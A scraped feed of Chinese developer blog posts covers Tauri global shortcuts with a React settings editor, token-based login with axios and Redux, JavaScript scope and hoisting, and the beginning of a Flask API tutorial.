pub fn unregister_shortcut<R: Runtime>(app: AppHandle<R>) {
    let shortcut_str = _get_shortcut(&app);
    let shortcut = shortcut_str
        .parse::<Shortcut>()
        .expect("存储的快捷键字符串应该有效");

    // 取消注册快捷键
    app.global_shortcut()
        .unregister(shortcut)
        .expect("取消注册快捷键失败")
}

/// 更改全局快捷键
#[tauri::command]
pub fn change_shortcut<R: Runtime>(
    app: AppHandle<R>,
    _window: tauri::Window<R>,
    key: String,
) -> Result<(), String> {
    println!("按键: {}", key);
    let shortcut = match key.parse::<Shortcut>() {
        Ok(shortcut) => shortcut,
        Err(_) => return Err(format!("无效的快捷键 {}", key)),
    };

    // 存储新的快捷键
    let store = app
        .get_store(COCO_TAURI_STORE)
        .expect("存储应该已经加载或创建");
    store.set(COCO_GLOBAL_SHORTCUT, JsonValue::String(key));

    // 注册新的快捷键
    _register_shortcut(&app, shortcut);

    Ok(())
}

/// 注册快捷键的辅助函数,主要用于更新快捷键
fn _register_shortcut<R: Runtime>(app: &AppHandle<R>, shortcut: Shortcut) {
    let main_window = app.get_webview_window("main").unwrap();
    // 注册全局快捷键,按下快捷键时执行指定操作
    app.global_shortcut()
        .on_shortcut(shortcut, move |_app, scut, event| {
            if scut == &shortcut {
                if let ShortcutState::Pressed = event.state() {
                    // 判断窗口是否可见,进行切换显示状态
                    if main_window.is_visible().unwrap() {
                        main_window.hide().unwrap(); // 隐藏窗口
                    } else {
                        main_window.show().unwrap(); // 显示窗口
                        main_window.set_focus().unwrap(); // 设置窗口焦点
                    }
                }
            }
        })
        .map_err(|err| format!("注册新的快捷键失败 '{}'", err))
        .unwrap();
}

/// 注册快捷键的辅助函数,在应用启动时设置快捷键
fn _register_shortcut_upon_start(app: &App, shortcut: Shortcut) {
    let window = app.get_webview_window("main").unwrap();
    // 初始化全局快捷键并设置快捷键事件处理器
    app.handle()
        .plugin(
            tauri_plugin_global_shortcut::Builder::new()
                .with_handler(move |_app, scut, event| {
                    if scut == &shortcut {
                        if let ShortcutState::Pressed = event.state() {
                            // 判断窗口是否可见,进行切换显示状态
                            if window.is_visible().unwrap() {
                                window.hide().unwrap(); // 隐藏窗口
                            } else {
                                window.show().unwrap(); // 显示窗口
                                window.set_focus().unwrap(); // 设置窗口焦点
                            }
                        }
                    }
                })
                .build(),
        )
        .unwrap();
    app.global_shortcut().register(shortcut).unwrap(); // 注册全局快捷键
}

/// 获取存储的全局快捷键,返回为字符串格式
pub fn _get_shortcut<R: Runtime>(app: &AppHandle<R>) -> String {
    let store = app
        .get_store(COCO_TAURI_STORE)
        .expect("存储应该已经加载或创建");

    match store
        .get(COCO_GLOBAL_SHORTCUT)
        .expect("快捷键应已存储")
    {
        JsonValue::String(str) => str,
        unexpected_type => panic!(
            "COCO 快捷键应该存储为字符串,发现类型: {} ",
            unexpected_type
        ),
    }
}

src-tauri/src/lib.rs 文件中引入并注册:

mod shortcut;

pub fn run() {
    let mut ctx = tauri::generate_context!();

    tauri::Builder::default()
        .plugin(tauri_plugin_store::Builder::default().build())
        .invoke_handler(tauri::generate_handler![
            shortcut::change_shortcut,
            shortcut::unregister_shortcut,
            shortcut::get_current_shortcut,
        ])
        .setup(|app| {
            init(app.app_handle());

            shortcut::enable_shortcut(app);
            enable_autostart(app);

            Ok(())
        })
        .run(ctx)
        .expect("error while running tauri application");
}

到此 APP 已经实现了 快捷键启动隐藏的功能了。

Mac 默认的快捷键是 command+shift+space

Windows 和 Linux 默认的快捷键 ctrl+shift+space

那么默认了,那用户电脑上使用有冲突,或者个人习惯问题,用户想修改呢?

修改快捷键

那就需要做一个前端界面,在前端界面上让用户操作。

image.png

import { useState, useEffect } from "react";
import { isTauri, invoke } from "@tauri-apps/api/core"; 
// 从 Tauri API 导入工具函数,isTauri 用于检测是否在 Tauri 环境中,invoke 用于调用后端 Rust 命令

import { ShortcutItem } from "./ShortcutItem"; // 引入自定义组件,用于渲染快捷键项
import { Shortcut } from "./shortcut"; // 引入 Shortcut 类型,定义快捷键的类型结构
import { useShortcutEditor } from "@/hooks/useShortcutEditor"; // 自定义 hook,用于快捷键的编辑逻辑

export default function GeneralSettings() {
  const [shortcut, setShortcut] = useState<Shortcut>([]); // 声明 state 变量 `shortcut`,用于存储当前的快捷键

  /**
   * 获取当前的快捷键
   * 调用 Tauri 的后端命令 `get_current_shortcut`
   * 将结果分割成数组并更新到 `shortcut` 状态中
   */
  async function getCurrentShortcut() {
    try {
      const res: string = await invoke("get_current_shortcut"); // 调用 Tauri 后端的 Rust 命令
      console.log("DBG: ", res); // 调试日志,打印获取的快捷键字符串
      setShortcut(res?.split("+")); // 将快捷键字符串分割成数组并存储
    } catch (err) {
      console.error("Failed to fetch shortcut:", err); // 捕获并打印获取快捷键失败的错误
    }
  }

  /**
   * 在组件加载时(mount)获取当前的快捷键
   */
  useEffect(() => {
    getCurrentShortcut(); // 调用获取快捷键的函数
  }, []);

  /**
   * 修改快捷键的逻辑
   * @param key - 新的快捷键数组
   */
  const changeShortcut = (key: Shortcut) => {
    setShortcut(key); // 更新本地状态
    if (key.length === 0) return; // 如果快捷键为空数组,则直接返回
    invoke("change_shortcut", { key: key?.join("+") }).catch((err) => {
      console.error("Failed to save hotkey:", err); // 捕获并打印保存快捷键失败的错误
    });
  };

  // 使用自定义的快捷键编辑 hook,管理快捷键编辑的逻辑
  const { isEditing, currentKeys, startEditing, saveShortcut, cancelEditing } =
    useShortcutEditor(shortcut, changeShortcut);

  /**
   * 开始编辑快捷键
   * 调用后端命令取消当前注册的快捷键
   */
  const onEditShortcut = async () => {
    startEditing(); // 切换到编辑状态
    invoke("unregister_shortcut").catch((err) => {
      console.error("Failed to save hotkey:", err); // 捕获并打印取消快捷键失败的错误
    });
  };

  /**
   * 取消快捷键的编辑
   * 将快捷键恢复到之前的状态并重新注册
   */
  const onCancelShortcut = async () => {
    cancelEditing(); // 退出编辑状态
    invoke("change_shortcut", { key: shortcut?.join("+") }).catch((err) => {
      console.error("Failed to save hotkey:", err); // 捕获并打印保存快捷键失败的错误
    });
  };

  /**
   * 保存快捷键的编辑
   * 调用 saveShortcut 以保存编辑后的快捷键
   */
  const onSaveShortcut = async () => {
    saveShortcut(); // 保存快捷键
  };

  /**
   * 渲染设置界面
   */
  return (
    <div className="space-y-8">
      <div>
        <h2 className="text-lg font-semibold text-gray-900 dark:text-white mb-4">
          General Settings
        </h2>
        <div className="space-y-6">
          {/* 渲染快捷键项 */}
          <ShortcutItem
            shortcut={shortcut} // 当前快捷键数组
            isEditing={isEditing} // 是否处于编辑状态
            currentKeys={currentKeys} // 编辑中的快捷键
            onEdit={onEditShortcut} // 点击编辑时触发的事件
            onSave={onSaveShortcut} // 点击保存时触发的事件
            onCancel={onCancelShortcut} // 点击取消时触发的事件
          />
        </div>
      </div>
    </div>
  );
}

ShortcutItem.tsx 文件:

import { formatKey, sortKeys } from "@/utils/keyboardUtils"; // 导入工具函数,用于格式化和排序键值
import { X } from "lucide-react"; // 导入 X 图标,用于取消按钮的图标显示

// 定义组件的 props 类型
interface ShortcutItemProps {
  shortcut: string[]; // 当前的快捷键数组
  isEditing: boolean; // 是否处于编辑模式
  currentKeys: string[]; // 当前按下的快捷键
  onEdit: () => void; // 编辑快捷键的回调函数
  onSave: () => void; // 保存快捷键的回调函数
  onCancel: () => void; // 取消编辑的回调函数
}

// 定义 `ShortcutItem` 组件
export function ShortcutItem({
  shortcut,
  isEditing,
  currentKeys,
  onEdit,
  onSave,
  onCancel,
}: ShortcutItemProps) {
  /**
   * 渲染键值的函数
   * @param keys - 需要渲染的键值数组
   * @returns 渲染后的键值组件
   */
  const renderKeys = (keys: string[]) => {
    const sortedKeys = sortKeys(keys); // 对键值数组进行排序
    return sortedKeys.map((key, index) => (
      <kbd
        key={index} // 使用键值数组的索引作为唯一 key
        className={`px-2 py-1 text-sm font-semibold rounded shadow-sm bg-gray-100 border-gray-300 text-gray-900 dark:bg-gray-700 dark:border-gray-600 dark:text-gray-200`}
      >
        {formatKey(key)} {/* 格式化并显示键值 */}
      </kbd>
    ));
  };

  return (
    <div
      className={`flex items-center justify-between p-4 rounded-lg bg-gray-50 dark:bg-gray-700`}
    >
      {/* 左侧部分:显示快捷键或编辑状态 */}
      <div className="flex items-center gap-4">
        {isEditing ? ( // 如果处于编辑模式
          <>
            <div className="flex gap-1 min-w-[120px] justify-end">
              {currentKeys.length > 0 ? ( // 如果当前有按下的键
                renderKeys(currentKeys) // 渲染当前按下的键
              ) : (
                <span className={`italic text-gray-500 dark:text-gray-400`}>
                  Press keys... {/* 提示用户按下键 */}
                </span>
              )}
            </div>
            <div className="flex gap-2">
              {/* 保存按钮 */}
              <button
                onClick={onSave} // 点击时触发保存回调
                disabled={currentKeys.length < 2} // 如果按下的键少于 2 禁用按钮
                className={`px-3 py-1 text-sm rounded bg-blue-500 text-white hover:bg-blue-600 dark:bg-blue-600 dark:text-white dark:hover:bg-blue-700
                   disabled:opacity-50 disabled:cursor-not-allowed`}
              >
                Save
              </button>
              {/* 取消按钮 */}
              <button
                onClick={onCancel} // 点击时触发取消回调
                className={`p-1 rounded text-gray-500 hover:text-gray-700 hover:bg-gray-200 dark:text-gray-400 dark:hover:text-gray-200 dark:hover:bg-gray-600`}
              >
                <X className="w-4 h-4" /> {/* 使用 X 图标 */}
              </button>
            </div>
          </>
        ) : (
          // 如果不在编辑模式
          <>
            <div className="flex gap-1">{renderKeys(shortcut)}</div> {/* 显示当前快捷键 */}
            <button
              onClick={onEdit} // 点击时触发编辑回调
              className={`px-3 py-1 text-sm rounded bg-gray-200 text-gray-700 hover:bg-gray-300 dark:bg-gray-600 dark:text-gray-200 dark:hover:bg-gray-500`}
            >
              Edit {/* 编辑按钮 */}
            </button>
          </>
        )}
      </div>
    </div>
  );
}

hooks/useShortcutEditor.ts 文件:

import { useState, useCallback, useEffect } from 'react'; // 导入 React hooks
import { useHotkeys } from 'react-hotkeys-hook'; // 导入用于捕获键盘快捷键的 hook

import { Shortcut } from '@/components/Settings/shortcut'; // 导入 Shortcut 类型
import { normalizeKey, isModifierKey, sortKeys } from '@/utils/keyboardUtils'; // 导入用于键盘操作的工具函数

// 定义保留的快捷键,这些快捷键是系统或应用预定义的,用户不能使用它们
const RESERVED_SHORTCUTS = [
  // 系统快捷键(Mac)
  ["Command", "C"],
  ["Command", "V"],
  ["Command", "X"],
  ["Command", "A"],
  ["Command", "Z"],
  ["Command", "Q"],
  // Windows/Linux 快捷键
  ["Control", "C"],
  ["Control", "V"],
  ["Control", "X"],
  ["Control", "A"],
  ["Control", "Z"],
  // Coco 特定的快捷键
  ["Command", "I"],
  ["Command", "T"],
  ["Command", "N"],
  ["Command", "G"],
  ["Command", "O"],
  ["Command", "U"],
  ["Command", "M"],
  ["Command", "Enter"],
  ["Command", "ArrowLeft"],
  ["Command", "ArrowRight"],
  ["Command", "ArrowUp"],
  ["Command", "ArrowDown"],
  ["Command", "0"],
  ["Command", "1"],
  ["Command", "2"],
  ["Command", "3"],
  ["Command", "4"],
  ["Command", "5"],
  ["Command", "6"],
  ["Command", "7"],
  ["Command", "8"],
  ["Command", "9"],
];

// `useShortcutEditor` 是一个自定义 hook,用于处理快捷键编辑的逻辑
export function useShortcutEditor(shortcut: Shortcut, onChange: (shortcut: Shortcut) => void) {
  console.log("shortcut", shortcut) // 输出当前快捷键调试信息

  const [isEditing, setIsEditing] = useState(false); // 是否处于编辑状态
  const [currentKeys, setCurrentKeys] = useState<string[]>([]); // 存储当前按下的键
  const [pressedKeys] = useState(new Set<string>()); // 存储按下的键的集合(去重)

  // 启动编辑状态
  const startEditing = useCallback(() => {
    setIsEditing(true);
    setCurrentKeys([]); // 清空当前按下的键
  }, []);

  // 保存当前设置的快捷键
  const saveShortcut = async () => {
    if (!isEditing || currentKeys.length < 2) return; // 如果没有进入编辑状态或快捷键少于 2 个,不能保存

    // 检查是否包含修饰键(例如 Command 或 Control)
    const hasModifier = currentKeys.some(isModifierKey);
    const hasNonModifier = currentKeys.some(key => !isModifierKey(key));

    // 如果没有修饰键或者没有非修饰键,则不允许保存
    if (!hasModifier || !hasNonModifier) return;

    // 检查当前快捷键是否与保留的快捷键冲突
    const isReserved = RESERVED_SHORTCUTS.some(reserved =>
      reserved.length === currentKeys.length && // 确保长度一致
      reserved.every((key, index) => key.toLowerCase() === currentKeys[index].toLowerCase()) // 比较大小写不敏感
    );
    
    if (isReserved) {
      console.error("This is a system reserved shortcut"); // 如果是保留的快捷键,输出错误并停止保存
      return;
    }

    // 对快捷键进行排序,确保修饰键在前,其他键在后
    const sortedKeys = sortKeys(currentKeys);

    // 调用外部传入的 onChange 函数,通知父组件更新快捷键
    onChange(sortedKeys);

    // 结束编辑状态并清空当前按下的键
    setIsEditing(false);
    setCurrentKeys([]);
  };

  // 取消编辑,恢复之前的状态
  const cancelEditing = useCallback(() => {
    setIsEditing(false);
    setCurrentKeys([]); // 清空当前按下的键
  }, []);

  // 注册键盘事件以捕获按键
  useHotkeys(
    '*', // 捕获所有键
    (e) => {
      if (!isEditing) return; // 如果没有处于编辑状态,则不处理
      e.preventDefault(); // 阻止默认事件
      e.stopPropagation(); // 阻止事件冒泡

      const key = normalizeKey(e.code); // 标准化键名

      // 更新按下的键
      pressedKeys.add(key);

      setCurrentKeys(() => {
        const keys = Array.from(pressedKeys); // 获取所有按下的键
        let modifiers = keys.filter(isModifierKey); // 获取所有修饰键
        let nonModifiers = keys.filter(k => !isModifierKey(k)); // 获取所有非修饰键

        // 限制修饰键和非修饰键的数量最多为 2 个
        if (modifiers.length > 2) {
          modifiers = modifiers.slice(0, 2);
        }

        if (nonModifiers.length > 2) {
          nonModifiers = nonModifiers.slice(0, 2);
        }

        // 合并修饰键和非修饰键
        return [...modifiers, ...nonModifiers];
      });
    },
    {
      enabled: isEditing, // 只有在编辑状态下才启用
      keydown: true, // 捕获按下键
      enableOnContentEditable: true // 在内容可编辑区域启用
    },
    [isEditing, pressedKeys] // 依赖项:isEditing 和 pressedKeys
  );

  // 注册键盘松开事件
  useHotkeys(
    '*',
    (e) => {
      if (!isEditing) return; // 如果没有处于编辑状态,则不处理
      const key = normalizeKey(e.code); // 标准化键名
      pressedKeys.delete(key); // 从按下的键集合中删除松开的键
    },
    {
      enabled: isEditing, // 只有在编辑状态下才启用
      keyup: true, // 捕获松开键
      enableOnContentEditable: true // 在内容可编辑区域启用
    },
    [isEditing, pressedKeys] // 依赖项:isEditing 和 pressedKeys
  );

  // 清理编辑状态,当组件卸载时,取消编辑状态
  useEffect(() => {
    return () => {
      if (isEditing) {
        cancelEditing(); // 如果仍然处于编辑状态,则取消编辑
      }
    };
  }, [isEditing, cancelEditing]); // 依赖项:isEditing 和 cancelEditing

  // 返回的对象包含了编辑状态和快捷键的相关方法
  return {
    isEditing,
    currentKeys,
    startEditing,
    saveShortcut,
    cancelEditing
  };
}

小结

通过本文的介绍,你可以将全局快捷键集成到你的 Tauri 应用中,进而为用户提供更流畅的操作体验。如果你还没有使用过 Tauri,希望你能通过这篇文章对它有更深入的了解,并开始在自己的项目中尝试这一功能!

开源

最近,我正在基于 Tauri 开发一款项目,名为 Coco。目前已开源,项目仍在不断完善中,欢迎大家前往支持并为项目点亮免费的 star 🌟!

作为个人的第一个 Tauri 项目,开发过程中也是边探索边学习。希望能与志同道合的朋友一起交流经验、共同成长!

代码中如有问题或不足之处,期待小伙伴们的宝贵建议和指导!

非常感谢您的支持与关注!

by 雨夜寻晴天 at January 25, 2025 08:10 AM

登入页面 Token 验证与封装请求request

前端登入页面模版

最近发现用户认证和权限管理在很多含有登入的应用都要使用,但是每次都要进行重写Token验证和请求。我们需要实现一个开箱即用的解决方案,其中包括用户登入、Token 验证和请求封装等功能。在基于 Vue3.0、Vite、Ant-Design-Vue 和 TypeScript 的后台解决方案中,

1、登入验证 Token

在用户登入成功后,后端通常会返回一个 Token,前端需要将这个 Token 存储起来,并在后续的请求中携带这个 Token 以验证用户身份。为了实现这一功能,我们需要对请求进行封装,并在请求拦截器中注入 Token。

1.1 封装 Token 操作方法

为了方便管理 Token,我们可以将 Token 的存储和获取操作封装成工具函数:

// 封装token 
// utils文件夹下index.tsx
const TOKENKEY = 'token_key' // 定义token的key

function setToken(token: string) {
    localStorage.setItem(TOKENKEY, token)
}

function getToken() {
    return localStorage.getItem(TOKENKEY)
}

export {
    setToken,
    getToken
}
  • setToken:将 Token 存储到 localStorage 中。
  • getToken:从 localStorage 中获取 Token。

1.2 封装 Axios 请求

首先,我们需要封装 Axios 请求,并在请求拦截器中注入 Token 如果token存在,则将其添加到请求的 Authorization 头中

// axios 封装
import axios from 'axios'
import { getToken } from '@/utils'

const request = axios.create({
    baseURL: 'http://geek.itheima.net/v1_0',
    timeout: 5000
})

// 请求拦截器
request.interceptors.request.use((config) => {
// 获取当前令牌token
    const token = getToken()
    if (token) {
        // bearer 认证+令牌字符串
        config.headers.Authorization = `Bearer ${token}`
    }
    return config
}, e => {
    return Promise.reject(e)
})

// 响应拦截器
request.interceptors.response.use(response => {
    return response.data
}, e => {
    return Promise.reject(e)
})

export default request

问题来了:页面刷新token可能丢失,那我们怎么办?

2、 解决 Token 刷新丢失问题

为了解决这个问题,我们需要在应用初始化时从 localStorage 中读取 Token,并将其存储到 Redux 状态中。

// 用户状态
import { createSlice } from '@reduxjs/toolkit'
import { setToken as _setToken, getToken } from '@/utils'

const userSlice = createSlice({
    name: 'user',
    initialState: {
        token: getToken() || ''
    },
    reducers: {
        setToken: (state, action) => {
            state.token = action.payload
            _setToken(action.payload)
        }
    }
})

const { setToken } = userSlice.actions
const userReducer = userSlice.reducer

// 异步获取 Token
const fetchLogin = (loginForm: { username: string; password: string }) => {
    return async (dispatch: any) => {
        try {
            const res = await request.post('/authorizations', loginForm)
            const token = res.data.token
            dispatch(setToken(token))
        } catch (error) {
            console.log(error)
        }
    }
}

export { setToken, fetchLogin }
export default userReducer
  • Redux Slice:我们使用 createSlice 创建了一个 Redux Slice(状态切片),用于管理用户状态和操作状态reducers。初始状态从 localStorage 中读取 Token。使用reducers对象里面的setToken方法,将获取token动作进行捕获
  • setToken 是从 userSlice.actions 中解构出的 action creator,用于生成 setToken 的 action
  • userReduce: 是 userSlice 生成的 reducer,用于处理状态更新
  • 异步 ActionfetchLogin 是一个异步 Action,用于发送登入请求并保存 Token。使用dispatch进行action操作

为了在应用中使用 Redux,我们需要配置 Store 并将统一导出store实例中:

// 导出redux子模块 + 导出store 实例
import { configureStore } from '@reduxjs/toolkit'
import userReducer from './modules/user'

export default configureStore({
    reducer: {
        user: userReducer
    }
})

这里的 configureStore:用于创建 Redux Store,并将 userReducer 注册到 Store 中。

下面我们要实现全局共享token

3、根组件配置

在根组件中,我们需要使用 Provider 将 Redux Store 注入到应用中:

import ReactDOM from 'react-dom/client'
import { RouterProvider } from 'react-router-dom'
import router from './router'

const root = ReactDOM.createRoot(document.getElementById('root')!)
root.render(
  <>
      <RouterProvider router={router}></RouterProvider>
  </>
)
  • ! : 非空断言操作符,告诉 TypeScript(或开发者)document.getElementById('root') 一定不会返回 null

  • Provider:将 Redux Store 传递给所有组件,使得组件可以通过 useSelectoruseDispatch 访问 Store 中的状态和派发 Action。

  • RouterProvider:负责将路由配置传递给应用。

扩展:路由权限控制

在某些情况下,我们需要对某些路由进行权限控制,确保只有登入用户才能访问。就像小红书下载内容前,自动跳转到登入页面

// 封装高阶组件
import { getToken } from "@/utils"
import { Navigate } from "react-router-dom"

export function AuthRoute({ children }) {
    const token = getToken()
    if (token) {
        return <>{children}</>
    } else {
        return <Navigate to="/login" replace />
    }
}
  • AuthRoute:这是一个自行封装函数组件,用于检查用户是否登入。如果用户已登入(即 Token 存在),则渲染子组件;否则,重定向到登入页面。

4. 总结

通过以上步骤,我们实现了一个完整的登入页面 Token 验证与封装请求的解决方案。我们封装了 Axios 请求,并在请求拦截器中注入 Token;使用 Redux 管理用户状态,并在页面刷新时从 localStorage 中读取 Token;最后,通过高阶组件实现了路由权限控制。这套方案可以为中大型项目提供开箱即用的用户认证和权限管理功能。

by ys指风不买醉 at January 25, 2025 07:49 AM

深入解析JavaScript执行机制:编译与执行阶段全揭秘

JavaScript 执行机制与作用域详解

引言

JavaScript 是一门强大的编程语言,广泛应用于前端和后端开发。理解其执行机制和作用域规则是编写高效、可靠代码的关键。本文将深入探讨 JavaScript 的执行机制,包括编译阶段和执行阶段的角色,变量的作用域以及查找规则,并通过具体的例子详细解释这些概念。


一、JavaScript 的执行机制

JavaScript 的执行机制可以分为两个主要阶段:编译阶段执行阶段。这两个阶段共同协作,确保代码能够正确运行并达到预期效果。(顺序是先编译后执行)

1. 编译阶段

在编译阶段,JavaScript 引擎会进行以下操作:

  • 词法分析:将源代码分解为一系列的标记(tokens),如关键字、标识符、运算符等。
  • 语法分析:检查代码的语法是否正确,并生成抽象语法树(AST)。
  • 作用域分析:确定每个变量的作用域,并创建相应的词法环境(Lexical Environment)。在此阶段,所有的 varfunction 声明会被提升到其所在作用域的顶部(即所谓的“变量提升”)。 注释:### 词法环境的组成部分

一个词法环境由以下几个部分组成:

  1. 环境记录(Environment Record):存储当前作用域中的变量、函数声明和参数。
  2. 外部环境引用(Outer Reference):指向外部(父级)词法环境的引用,形成了作用域链。
示例:
var a = 1;

在编译阶段,这段代码会被拆解为两部分:

  • var a;:声明部分被提升到作用域的顶部。
  • a = 1;:赋值部分保留在原地,在执行阶段执行。

2. 执行阶段

在执行阶段,JavaScript 引擎会:

  • 初始化变量:根据编译阶段生成的作用域信息,对变量进行初始化。
  • 逐行执行代码:按照顺序执行每一条语句,包括函数调用、表达式求值等。
  • 变量查找:当需要访问某个变量时,JavaScript 引擎会在当前作用域及其外部作用域中查找该变量的定义。
示例:
console.log(a); // undefined (变量提升,但未初始化)
var a = 10;
console.log(a); // 10 (已经初始化)

编译器中的代码为 var a console.log(a); a = 10; console.log(a);

在执行阶段,第一次 console.log(a) 输出 undefined,因为 a 已经声明但尚未初始化。第二次 console.log(a) 输出 10,因为此时 a 已经被赋值。


二、变量与作用域

1. 变量的作用域

变量不会单独存在,它们属于一个作用域。作用域是变量的查找规则,决定了在当前作用域中找不到变量时如何向上级作用域查找。

作用域类型:
  • 全局作用域:在整个程序范围内都可访问的变量。
  • 函数作用域:仅在函数内部可见的变量。
  • 块级作用域:使用 letconst 声明的变量具有块级作用域,仅在 {} 内部可见。
示例:
function outer() {
    var x = 'outer';
    function inner() {
        console.log(x); // 查找 x
    }
    inner();
}

outer(); // 输出: outer

在这个例子中,inner 函数尝试访问 x。由于 x 不在 inner 的局部作用域中,JavaScript 引擎会沿着作用域链向上查找,直到在 outer 的作用域中找到 x

2. 作用域链

当在一个嵌套作用域中访问变量时,JavaScript 引擎会沿着作用域链从当前作用域向外查找,直到找到目标变量或到达全局作用域为止。这个查找过程只能在执行阶段进行。

示例:
var globalVar = 'global';

function outer() {
    var outerVar = 'outer';

    function inner() {
        var innerVar = 'inner';
        console.log(innerVar); // inner
        console.log(outerVar); // outer
        console.log(globalVar); // global
    }

    inner();
}

outer();

在这个例子中,inner 函数依次查找 innerVarouterVarglobalVar,沿着作用域链从内层作用域向外层作用域查找。


三、LHS 和 RHS 查找

在 JavaScript 中,变量查找可以分为两种类型:LHS(Left-Hand Side)查找RHS(Right-Hand Side)查找

1. LHS 查找

LHS 查找是指在赋值操作中找到一个目标位置来存储某个值。它发生在等号左边的变量上。

示例:
a = 2; // LHS 查找 'a'

2. RHS 查找

RHS 查找是指在需要获取某个变量或表达式的值来进行计算或其他操作时进行的查找。它发生在等号右边的变量或表达式上。

示例:
console.log(a); // RHS 查找 'a'

3. 混合示例

function foo(a) {
    console.log(a + b); // RHS 查找 'a' 和 'b'
    b = a;              // LHS 查找 'b',RHS 查找 'a'
}

foo(2);

在这个例子中:

  • console.log(a + b); 需要进行两次 RHS 查找:一次查找 a,一次查找 b
  • b = a; 需要进行一次 LHS 查找 b 和一次 RHS 查找 a

四、内存中的变量存储

变量存储在内存中,具体来说是存储在栈(Stack)和堆(Heap)中。

  • :用于存储基本数据类型的值,如数字、字符串、布尔值等。
  • :用于存储引用数据类型的值,如对象、数组等。
示例:
var num = 10; // 存储在栈中
var obj = { name: 'Alice' }; // 存储在堆中,栈中存储的是指向堆中对象的引用

五、作用域嵌套与作用域链

当存在多个嵌套的作用域时,JavaScript 引擎会沿着作用域链从当前作用域向外查找,直到找到目标变量或到达全局作用域为止。

示例:
var globalVar = 'global';

function outer() {
    var outerVar = 'outer';

    function inner() {
        var innerVar = 'inner';
        console.log(innerVar); // inner
        console.log(outerVar); // outer
        console.log(globalVar); // global
    }

    inner();
}

outer();

在这个例子中,inner 函数依次查找 innerVarouterVarglobalVar,沿着作用域链从内层作用域向外层作用域查找。


六、总结

通过深入理解 JavaScript 的执行机制、变量的作用域以及 LHS 和 RHS 查找的概念,我们可以更好地掌握这门语言的工作原理。以下是本文的主要内容总结:

  1. 编译阶段:负责语法分析、词法分析、生成 AST 和作用域分析。
  2. 执行阶段:负责初始化变量、逐行执行代码,并在需要时沿作用域链查找变量的实际值。
  3. LHS 和 RHS 查找:分别用于赋值操作和获取变量值的操作。
  4. 作用域嵌套与作用域链:确保在复杂的嵌套作用域中正确解析变量。

理解这些概念不仅有助于编写更高效和无误的 JavaScript 代码,还能帮助我们更好地调试和优化现有代码。希望本文能为你提供有价值的参考和指导。

by 爱喝羊奶 at January 25, 2025 07:29 AM

juejin backend

5分钟构建API接口服务 | python小知识

5分钟构建API接口服务 | python小知识

1. 什么是API

我们经常会使用一些API接口来完成特定的功能,比如查询天气的数据,下载股票的数据,亦或是调用ChatGPT模型的结构等等。

API全称是Application Programming Interface,即应用程序接口,它通常提供了一个功能函数,而这个功能函数的输入和输出是和调用方相互约定的。

从架构上来讲,API通常从客户端和服务端模型;客户端以数据形式向服务器发送请求,服务器使用该客户端输入来开始执行内部函数,并将输出数据返回到客户端。

所以我们要开发一个API接口,从设计上就需要明确:

  • 你要提供什么样的功能
  • 功能的输入是什么
  • 功能的输出返回是什么

从技术上,要提供一个服务来接收请求和返回结果,通常是一个满足HTTP协议的HTTP接口,也可以是RPC接口。我们这里要讲的是HTTP接口

这也是API的本质。

2. 用Flask构建API

要实现一个API,我们要构建一个HTTP服务。HTTP(超文本传输协议)是一个在计算机世界里专门在两点之间传输文字、图片、音频、视频等超文本数据的约定和规范,是一个典型的请求/响应模式的协议。

Flask是python中轻量的web框架,Flask的两个核心模块除了模板渲染之外就是请求响应处理,其中请求响应处理是由 Werkzeug(WSGI 工具库)完成,而模板渲染是由Jinja(模板渲染库)完成。

Flask因为轻量灵活,用来构建API接口十分合适。

2.1 Flask入门

安装Flask

pip install flask

我们看一个简单的例子:

from flask import Flask

app = Flask(__name__)

@app.route('/hello')
def hello():
    return 'hello world'

if __name__ == '__main__':
    app.run("0.0.0.0", debug=True, port=6006)

调用(假设上面的文件为hello.py):

python hello.py

yyq-2023-03-20-23-16-58.png

此时,你调用http://127.0.0.1:6006/hello就会返回hello world

上面是最简单的一个接口了,从上面我们可知Flask的工作机制:

  • Flask(__name__)申明了一个服务app
  • app.run来启动这个服务,包括服务的地址ip和端口
  • @app.route装饰器定义了接口访问的URL地址和方法(GET/POST)
  • hello的函数就是具体接收请求响应的函数功能模块,由@app.route装饰

2.2 实用的FlaskAPI

上面的例子显然是不能满足一个完整的API的功能,首先我们要接收请求的数据,Flask是通过request来接收请求数据,HTTP请求通常由两个方式GET和POST。

from flask import Flask
from flask import request
import json
import traceback

app = Flask(__name__)

@app.route('/hello')
def hello():
    return 'hello world'

@app.route('/v1/task', methods=['GET', 'POST'])
def do_task():
    try:
        print(request.method)
        if request.method == "GET":
            content = request.args.get("content")
            # comment = request.values.get("content")
            res = int(content) + 10
            print(res, type(content))

        elif request.method == "POST":
            print("========", request.headers)
            content_type = request.headers.get('Content-Type')
            if "multipart/form-data" in content_type:
                form_data = dict(request.form)
                # files_data = dict(request.files)
                # print(form_data)

                res = int(form_data.get('content')) + 14
                
            elif "application/json" in content_type:
                # request.get_data() # 原始的数据
                input_dict = request.get_json()
                res = input_dict.get('content') + 12

            elif "application/x-www-form-urlencoded" in content_type:
                input_dict = request.form
                # request.values.get("content")
            else:
                print(request.get_data())

        print('url: %s , script_root: %s , path: %s , base_url: %s , url_root : %s' % (
            request.url, request.script_root, request.path, request.base_url, request.url_root))
            
        return json.dumps({"code": 0, "msg":"success", "data": res})
    except:
        err_msg = 'url: %s, err_msg: %s' % (request.url, (str(traceback.format_exc())))
        print(err_msg)
        return json.dumps({"code": -1, "msg":"failed", "data": 0})
    

if __name__ == '__main__':
    app.run("0.0.0.0", debug=True, port=6006)

以GET方式请求

http://127.0.0.1:6006/v1/task?content=3
# {"code": 0, "msg": "success", "data": 13}
# 127.0.0.1 - - [20/Mar/2023 23:53:28] "GET /v1/task?content=3 HTTP/1.1" 200 -

以POST方式请求

POST是通过表单form的方式来传递数据,数据可以使用不同的Content-Type来发送。比如:

  • application/json 的方式 ,请求body体的内容就是{"a": "b", "c": "d"}
  • application/x-www-form-urlencoded 的方式,则body体的内容就是 a=b&c=d
  • multipart/form-data 通常是要上传文件

POST请求调用如下:

import requests
import json
url = 'http://127.0.0.1:6006/v1/task'
headers = {'content-type': "application/json", 'Authorization': 'APP appid = 4abf1a,token = 9480295ab2e2eddb8'}
s = json.dumps({'content': 1, 'key2': 'value2'})
r = requests.post(url, data=s, headers=headers)
print(r.text)


url = 'http://127.0.0.1:6006/v1/task'
files = {'file': open('lena.jpg', 'rb')}
s = {'content': 1, 'key2': 'value2'}
r = requests.post(url, files=files, data=s)
print(r.text)

除此之外,从上面的例子可知:

  • GET方式是通过request.args获取数据
  • POST方式是通过request.get_json() request.get_data() request.form获取数据
  • request.method获取请求方式
